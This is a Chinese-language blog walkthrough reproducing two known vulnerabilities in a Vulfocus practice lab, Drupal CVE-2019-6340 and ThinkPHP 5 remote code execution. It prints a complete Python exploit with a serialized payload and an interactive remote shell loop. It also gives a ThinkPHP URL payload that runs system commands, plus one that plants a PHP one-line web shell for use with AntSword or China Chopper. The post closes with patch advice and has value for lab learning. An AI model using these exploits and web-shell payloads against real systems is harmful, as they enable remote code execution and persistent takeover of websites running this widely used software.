接下来会给大家介绍一些最常见的复现漏洞过程,我所用的是Vulfocus靶场,靶场安装方法已经在上一篇文章讲过,大家可以自行去观看。如果大家想及时获取最新漏洞消息,大家可以直接cnvdhttps://www.cnvd.org.cn/去查看即可,小白入门,如果在博客中有什么错误,还请各位大佬指出。
一次出两个漏洞复现过程(本人也得上班~~~~)
Drupal官方之前更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启REST的Web服务拓展模块的情况下,可能导致PHP代码执行的严重安全。
根据官方公告和自身实践,8.6.x或(<8.6.10)两种情况可能导致问题出现:
RESTful Web Services拓展开启,并且启用了REST资源(默认配置即可),不需要区分GET,POST等方法即可完成攻击。
JSON:API服务模块开启,此服务尚未分析。
打开靶场,在镜像管理中输入CVE漏洞编号进行查询并下载
下载成功后再首页查看添加的漏洞,并启用访问网址
直接运行python脚本poc即可
import requests
import sys
import re
if len(sys.argv)!=2:
print('+---------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ https://freeerror.org/d/488 +')
print('+---------------------------------------------------------------+')
print('+ USE: python3 +')
print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080 +')
print('+ VER: Drupal < 8.6.10 +')
print('+ Drupal < 8.5.12 +')
print('+---------------------------------------------------------------+')
sys.exit()
url = sys.argv[1]
cmd = "whoami"
dir = "/node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)
payload = "{\r\n \"link\": [\r\n {\r\n \"value\": \"link\",\r\n \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n }\r\n ],\r\n \"_links\": {\r\n \"type\": {\r\n \"href\": \"%s/rest/type/shortcut/default\"\r\n }\r\n }\r\n}" % (cmd_len,cmd,url)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
'Connection': "close",
'Content-Type': "application/hal+json",
'Accept': "*/*",
'Cache-Control': "no-cache"
}
response = requests.request("POST", url_dir, data=payload, headers=headers)
if response.status_code==403 and "u0027access" in response.text :
print ("[+] Find Drupal CVE-2019-6340 Vuln!\n")
else:
print ("[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~\n")
sys.exit()
def do_post(cmd):
payload = "{\r\n \"link\": [\r\n {\r\n \"value\": \"link\",\r\n \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n }\r\n ],\r\n \"_links\": {\r\n \"type\": {\r\n \"href\": \"%s/rest/type/shortcut/default\"\r\n }\r\n }\r\n}" % (cmd_len,cmd,url)
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
'Connection': "close",
'Content-Type': "application/hal+json",
'Accept': "*/*",
'Cache-Control': "no-cache"
}
global response
response = requests.request("POST", url_dir, data=payload, headers=headers)
r = response.text
s = r.split("}")[1]
print (s)
while 1:
cmd = input("Shell >>> ")
cmd_len = len(cmd)
if cmd == "exit" : exit(0)
do_post(cmd)
最终获取flag
升级到最新版
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击
ThinkPHP 5.0.全版本
那就是这个漏洞并不是所有的都有漏洞,然后上网搜索和验证后发现了各个版本的问题所在,大家可以看下
版本名 | 是否可被攻击 | 攻击条件 |
---|---|---|
5.0.0 | 否 | 无 |
5.0.1 | 否 | 无 |
5.0.2 | 否 | 无 |
5.0.3 | 否 | 无 |
5.0.4 | 否 | 无 |
5.0.5 | 否 | 无 |
5.0.6 | 否 | 无 |
5.0.7 | 否 | 无 |
5.0.8 | 是 | 无需开启debug |
5.0.9 | 是 | 无需开启debug |
5.0.10 | 是 | 无需开启debug |
5.0.11 | 是 | 无需开启debug |
5.0.12 | 是 | 无需开启debug |
5.0.13 | 是 | 需开启debug |
5.0.14 | 是 | 需开启debug |
5.0.15 | 是 | 需开启debug |
5.0.16 | 是 | 需开启debug |
5.0.17 | 是 | 需开启debug |
5.0.18 | 是 | 需开启debug |
5.0.19 | 是 | 需开启debug |
5.0.20 | 否 | 无 |
5.0.21 | 是 | 需开启debug |
5.0.22 | 是 | 需开启debug |
5.0.23 | 是 | 需开启debug |
本人同事复现时选的版本是5.0.13~5.0.19的,一直复现不成功,用payload怎么修改都是不成功,后来才知道这些版本默认情况下config中的app_debug配置项为false,这也是为什么很多人用payload都无法复现的
在其地址增加路径与参数即可,最后是需要执行的命令
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
最终拿到flag
当然我们做渗透的也可以写上一句话木马进行尝试
/index.php/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E
然后直接上菜刀或者蚁剑
但是不知道什么原因我这里链接不上,但是 确实是写进去了
此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。官方修复方案